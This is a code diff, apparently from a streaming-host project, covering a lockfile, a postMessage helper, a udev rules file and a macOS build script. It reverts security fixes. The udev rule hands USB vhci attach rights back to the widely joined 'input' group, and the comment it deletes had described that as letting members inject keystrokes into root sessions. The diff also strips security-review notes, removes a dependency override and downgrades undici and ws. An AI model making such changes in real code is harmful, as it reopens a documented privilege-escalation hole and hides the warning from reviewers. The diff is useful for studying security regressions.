"msgpackr-extract": ["msgpackr-extract@3.0.4", "", { "dependencies": { "node-gyp-build-optional-packages": "5.2.2" }, "optionalDependencies": { "@msgpackr-extract/msgpackr-extract-darwin-arm64": "3.0.4", "@msgpackr-extract/msgpackr-extract-darwin-x64": "3.0.4", "@msgpackr-extract/msgpackr-extract-linux-arm": "3.0.4", "@msgpackr-extract/msgpackr-extract-linux-arm64": "3.0.4", "@msgpackr-extract/msgpackr-extract-linux-x64": "3.0.4", "@msgpackr-extract/msgpackr-extract-win32-x64": "3.0.4" }, "bin": { "download-msgpackr-prebuilds": "bin/download-prebuilds.js" } }, "sha512-4kmO/MdyUIkLIvTPr8VHLil4AtoKIoniWPIEk5+CDy0xnWC84azhSFmuJ7PxZdsYtiP5kEeQsORAVIeMgxT+Hw=="],
@@ -151,8 +144,6 @@
"require-directory": ["require-directory@2.1.1", "", {}, "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q=="],
"sade": ["sade@1.8.1", "", { "dependencies": { "mri": "^1.1.0" } }, "sha512-xal3CZX1Xlo/k4ApwCFrHVACi9fBqJ7V+mwhBsuf/1IOKbBy098Fex+Wa/5QMubw09pSZ/u8EY8PWgevJsXp1A=="],
"should": ["should@13.2.3", "", { "dependencies": { "should-equal": "^2.0.0", "should-format": "^3.0.3", "should-type": "^1.4.0", "should-type-adaptors": "^1.0.1", "should-util": "^1.0.0" } }, "sha512-ggLesLtu2xp+ZxI+ysJTmNjh2U0TsC+rQ/pfED9bUZZ4DKefP27D+7YJVVTvKsmjLpIi9jAa7itwDGkDDmt1GQ=="],
"should-equal": ["should-equal@2.0.0", "", { "dependencies": { "should-type": "^1.4.0" } }, "sha512-ZP36TMrK9euEuWQYBig9W55WPC7uo37qzAEmbjHz4gfyuXrEUgF8cUvQVO+w+d3OMfPvSRQJ22lSm8MQJ43LTA=="],
@@ -179,7 +170,7 @@
"typescript": ["typescript@5.9.3", "", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw=="],
"undici": ["undici@8.10.0", "", {}, "sha512-HvltHd7avK13QIw/oLe4qoOLyoVSoafqJ2jYOrtMRBkbYT31eiBQ8O0ehRKZiEZCMEyLFQNIADpgCWC5fALvYQ=="],
"undici": ["undici@7.28.0", "", {}, "sha512-cRZYrTDwWznlnRiPjggAGxZXanty6M8RV1ff8Wm4LWXBp7/IG8v5DnOm74DtUBp9OONpK75YlPnIjQqX0dBDtA=="],
"undici-types": ["undici-types@8.3.0", "", {}, "sha512-j375ScV60dom+YkPFIfTLcOiPxkN/buHz5GobjLhixFuANaNs3C9l4GmrWqejgXWJ7BbJcFYpTEUkS1Ge8bpZQ=="],
@@ -191,7 +182,7 @@
"wrap-ansi": ["wrap-ansi@7.0.0", "", { "dependencies": { "ansi-styles": "^4.0.0", "string-width": "^4.1.0", "strip-ansi": "^6.0.0" } }, "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q=="],
"ws": ["ws@8.21.2", "", { "peerDependencies": { "bufferutil": "^4.0.1", "utf-8-validate": ">=5.0.2" }, "optionalPeers": ["bufferutil", "utf-8-validate"] }, "sha512-54dMVAo4WIe6SKy3vBgN+9bJZqqQ8IMRevAkOLQALhi49qkkQDQfWdAZ8KQlXiEabw88ARXXdUrlvtbKQX+aKw=="],
"ws": ["ws@8.21.1", "", { "peerDependencies": { "bufferutil": "^4.0.1", "utf-8-validate": ">=5.0.2" }, "optionalPeers": ["bufferutil", "utf-8-validate"] }, "sha512-+0NTnW77fFN/DjQi6k/Sq/Yvk4Sgajw7urW8V+asjXnRgDs9gyGkdb7EzgfhA4goXsRIZKE28fzIXBHEzhuiWw=="],
"y18n": ["y18n@5.0.8", "", {}, "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA=="],
@@ -201,6 +192,8 @@
"yargs-parser": ["yargs-parser@21.1.1", "", {}, "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw=="],
"@effect/platform-node/undici": ["undici@8.8.0", "", {}, "sha512-ubshXMXwF3MQIMF1y/WxZdNBnjEKeSg2wF5mcGUtU55YTw34tnVVpKRlLf7ruDXZ5344KokPVX4RBx1wJm64Bw=="],
"oas-linter/yaml": ["yaml@1.10.3", "", {}, "sha512-vIYeF1u3CjlhAFekPPAk2h/Kv4T3mAkMox5OymRiJQB0spDP10LHvt+K7G9Ny6NuuMAb25/6n1qyUjAcGNf/AA=="],
"oas-resolver/yaml": ["yaml@1.10.3", "", {}, "sha512-vIYeF1u3CjlhAFekPPAk2h/Kv4T3mAkMox5OymRiJQB0spDP10LHvt+K7G9Ny6NuuMAb25/6n1qyUjAcGNf/AA=="],
-3
View File
@@ -57,8 +57,5 @@
"@types/react": "^19.2.16",
"effect": "4.0.0-beta.99",
"typescript": "^5.9.3"
},
"overrides": {
"undici": "^8.9.0"
}
}
+2 -13
View File
@@ -21,25 +21,14 @@ export const resolvePluginBase = (): string => {
export const useIsEmbedded = (): boolean =>
typeof window !== "undefined" && window.parent !== window;
/**
* Mirror a route into the console's address bar (best-effort, embedded only).
*
* The `"*"` target origin is load-bearing and must stay: the console frames plugin UIs from a
* DIFFERENT ORIGIN than its own (they get their own port, so a plugin cannot act as the logged-in
* operator security-review 2026-08-05 H-3). Narrowing this to `window.location.origin` would
* target the PLUGIN's origin, not the console's, and every message would be silently dropped.
*
* `"*"` is safe here because the payload is a route path the plugin itself just navigated to
* nothing secret and the console verifies `event.origin` against the plugin origin before acting
* on it, so the trust decision is made on the receiving side where it belongs.
*/
/** Mirror a route into the console's address bar (best-effort, embedded only). */
export const postNavigate = (path: string): void => {
try {
if (window.parent !== window) {
window.parent.postMessage({ type: "pf-ui:navigate", path }, "*");
}
} catch {
// detached parent — deep-link sync is best-effort
// cross-origin parent or detached — deep-link sync is best-effort
}
};
+3 -13
View File
@@ -14,19 +14,9 @@ KERNEL=="uhid", SUBSYSTEM=="misc", OPTIONS+="static_node=uhid", GROUP="input", M
# usbip vhci attach/detach for the virtual Steam Deck controller. Steam Input only
# adopts the virtual Deck when it arrives as a USB device (usbip/vhci or raw_gadget);
# the UHID fallback has no USB interface and Steam ignores it. The sysfs attach files
# are root-only by default while the host runs as a user service — grant the dedicated
# `punktfunk` group write when vhci_hcd appears (module autoload: modules-load.d/punktfunk.conf).
#
# ⚠ This is deliberately NOT the `input` group (2026-08-05 review M-4). Writing `attach` hands the
# kernel a caller-supplied socket fd and materialises an arbitrary, fully userspace-emulated USB
# device — a root-only kernel primitive. Every packaging scriptlet tells the user to
# `usermod -aG input $USER` as step 1, so putting it on `input` handed that primitive to a group
# people are routinely told to join: a member could present a HID keyboard and inject keystrokes
# into a root TTY or the lock screen, or drive any of hundreds of in-tree USB drivers from
# userspace, all without CAP_SYS_ADMIN. The uinput/uhid grants above are already systemwide input
# injection, but neither reaches kernel USB enumeration — this one does, so it gets its own group
# that nothing else asks users to join.
ACTION=="add", SUBSYSTEM=="platform", KERNEL=="vhci_hcd.*", RUN+="/bin/sh -c 'chgrp punktfunk /sys%p/attach /sys%p/detach && chmod 0660 /sys%p/attach /sys%p/detach'"
# are root-only by default while the host runs as a user service — grant the `input`
# group write when vhci_hcd appears (module autoload: modules-load.d/punktfunk.conf).
ACTION=="add", SUBSYSTEM=="platform", KERNEL=="vhci_hcd.*", RUN+="/bin/sh -c 'chgrp input /sys%p/attach /sys%p/detach && chmod 0660 /sys%p/attach /sys%p/detach'"
# hidraw access for the VIRTUAL pads this host creates. Steam/SDL drive a DualSense's rich
# feedback (adaptive triggers, lightbar, player LEDs) exclusively over hidraw — the kernel has no
+1 -20
View File
@@ -10,18 +10,6 @@
set -euo pipefail
cd "$(dirname "$0")/.."
# Opus must be built FROM SOURCE, never picked up from the machine. `audiopus_sys` probes
# pkg-config first, and a Homebrew libopus is compiled for the HOST macOS — its objects land
# inside our staticlib carrying that minos (the deployment-target check at the end of this
# script then fails with 143 SILK objects at the host's version). Whether the bundle is
# usable would otherwise depend on whether the developer happens to have `brew install opus`,
# which is exactly the kind of thing an artifact consumed by every Apple build must not
# depend on. `OPUS_NO_PKG_CONFIG` forces the vendored build; the CMake policy floor is for
# that vendored copy, whose CMakeLists still declares a pre-3.5 minimum that CMake 4 removed
# support for.
export OPUS_NO_PKG_CONFIG=1
export CMAKE_POLICY_VERSION_MINIMUM="${CMAKE_POLICY_VERSION_MINIMUM:-3.5}"
TARGETS_MAC=(aarch64-apple-darwin x86_64-apple-darwin)
BUILD_IOS="${BUILD_IOS:-0}" # BUILD_IOS=1 adds iOS device + simulator slices (rustup targets aarch64-apple-ios{,-sim})
BUILD_TVOS="${BUILD_TVOS:-0}" # BUILD_TVOS=1 adds tvOS slices — TIER-3 Rust targets: needs `rustup toolchain install nightly` + `rustup component add rust-src --toolchain nightly`
@@ -137,14 +125,7 @@ for obj in "$STAGE"/macos/libpunktfunk_core.a; do
bad=$(otool -l "$obj" 2>/dev/null | awk '/minos/ {print $2}' | sort -uV | awk -F. '$1 > 14' | head -1)
if [[ -n "$bad" ]]; then
echo "ERROR: $obj contains objects built for macOS $bad (> 14.0)." >&2
echo "Two known causes:" >&2
echo " 1. A system libopus linked instead of the vendored one (check the build" >&2
echo " script output for a /opt/homebrew or /usr/local link-search path). This" >&2
echo " script exports OPUS_NO_PKG_CONFIG=1 to prevent it — if you see it anyway," >&2
echo " something overrode that." >&2
echo " 2. A stale cache: cargo does not fingerprint MACOSX_DEPLOYMENT_TARGET." >&2
echo " rm -rf target/{aarch64,x86_64}-apple-darwin and rebuild." >&2
echo "Identify the offenders with: ar x $obj && otool -l *.o | grep -B1 minos" >&2
echo "Stale cache — rm -rf target/{aarch64,x86_64}-apple-darwin and rebuild." >&2
exit 1
fi
done

Some files were not shown because too many files have changed in this diff Show More